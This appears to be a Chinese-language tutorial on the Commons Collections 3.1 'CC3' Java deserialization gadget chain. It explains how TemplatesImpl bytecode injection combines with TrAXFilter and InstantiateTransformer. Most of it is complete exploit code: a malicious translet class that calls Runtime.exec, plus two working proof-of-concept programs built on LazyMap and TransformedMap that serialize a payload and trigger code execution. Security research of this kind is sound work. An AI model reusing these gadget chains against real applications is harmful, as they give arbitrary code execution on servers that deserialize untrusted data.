测试环境
jdk1.7(jdk7u80)
Commons Collections3.1
CC3链大体上是CC1和CC2链的结合,利用链核心原理基于CC2链的(动态字节码注入恶意类),使用TransformedMap和lazyMap配合cc1的annotationinvocation类触发newTransformer方法,所以CC3链不适用jdk1.8。
恶意类
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class evilClass extends AbstractTranslet{
//需要继承AbstractTranslet,因为在defineTransletClasses中会判断是否继承了这个类没有会报错
public evilClass() {
super();
try {
Runtime.getRuntime().exec("calc");
}catch (Exception e){
e.printStackTrace();
}
}
//两种触发方式构造方法和静态代码块
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
利用链核心
ClassPool classPool= ClassPool.getDefault();
CtClass ctClass=classPool.getCtClass("com.test.evilClass");
byte[] bytes=ctClass.toBytecode();
//将恶意类转换为字节码
TemplatesImpl templatesImpl = new TemplatesImpl();
Field field1=templatesImpl.getClass().getDeclaredField("_name");
Field field2=templatesImpl.getClass().getDeclaredField("_bytecodes");
field1.setAccessible(true);
field2.setAccessible(true);
field1.set(templatesImpl,"evilClass");
field2.set(templatesImpl,new byte[][]{bytes});
//通过反射将bytes和一个name赋值给TemplatesImpl的_name和_bytecodes
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
};
Transformer chainedTransformer=new ChainedTransformer(transformers);
使用了一个新的类InstantiateTransformer类,这个类的transform(Object input)会触发input的newInstance()既实例化。
public T transform(Class<? extends T> input) {
try {
if (input == null) {
throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a null object");
} else {
Constructor<? extends T> con = input.getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
}
。。。省略
}
这里的input为TrAXFilter类,它的构造方法方法中会触发newTransformer方法
编写POC
基于LazyMap
package com.test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class CC3poc2 {
public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.getCtClass("com.test.evilClass");
byte[] bytes = ctClass.toBytecode();
//将恶意类转换为字节码
TemplatesImpl templates=new TemplatesImpl();
//可以直接new不需要像AnnotationInvocationHandler一样必须通过反射(类修饰符不同)
Class classInstance=templates.getClass();
Field field1=classInstance.getDeclaredField("_name");
Field field2=classInstance.getDeclaredField("_bytecodes");
field1.setAccessible(true);
field2.setAccessible(true);
field1.set(templates,"evilCLass");
field2.set(templates,new byte[][]{bytes});
//反射设置属性
Transformer[] transFormers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
Transformer chainedTransformer=new ChainedTransformer(transFormers);
InvokerTransformer transformer=new InvokerTransformer("newTransformer",null,null);
Map map =new HashMap();
Map lazyMap= LazyMap.decorate(map,chainedTransformer);
//在commoncellection3中使用LazyMap.decorate(map,chainedTransformer);
classInstance =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=classInstance.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Target.class,lazyMap);
Map proxyMap= (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),lazyMap.getClass().getInterfaces(),invocationHandler);
//生成代理类
InvocationHandler annotationinvocationHandler=(InvocationHandler)constructor.newInstance(Target.class,proxyMap);
//将代理类传入
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(annotationinvocationHandler);
objectOutputStream.close();
//序列化
ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}
基于TransformedMap
package com.test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC3Poc {
public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException, ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
ClassPool classPool= ClassPool.getDefault();
CtClass ctClass=classPool.getCtClass("com.test.evilClass");
byte[] bytes=ctClass.toBytecode();
//将恶意类转换为字节码
TemplatesImpl templatesImpl = new TemplatesImpl();
Field field1=templatesImpl.getClass().getDeclaredField("_name");
Field field2=templatesImpl.getClass().getDeclaredField("_bytecodes");
field1.setAccessible(true);
field2.setAccessible(true);
field1.set(templatesImpl,"evilClass");
field2.set(templatesImpl,new byte[][]{bytes});
//通过反射将bytes和一个name赋值给TemplatesImpl的_name和_bytecodes
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
};
Transformer chainedTransformer=new ChainedTransformer(transformers);
//构造触发newTransform()的利用链,InstantiateTransformer的transform()会将TrAXFilter实例化传入template,触发在构造方法中的newTransform方法
HashMap map=new HashMap();
map.put("value","asd");
Map transformedMap=TransformedMap.decorate(map,null,chainedTransformer);
Class classInstance=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=classInstance.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler annotationinvocationHandler=(InvocationHandler) constructor.newInstance(Target.class,transformedMap);
//反射调用
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(annotationinvocationHandler);
objectOutputStream.close();
//序列化
ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}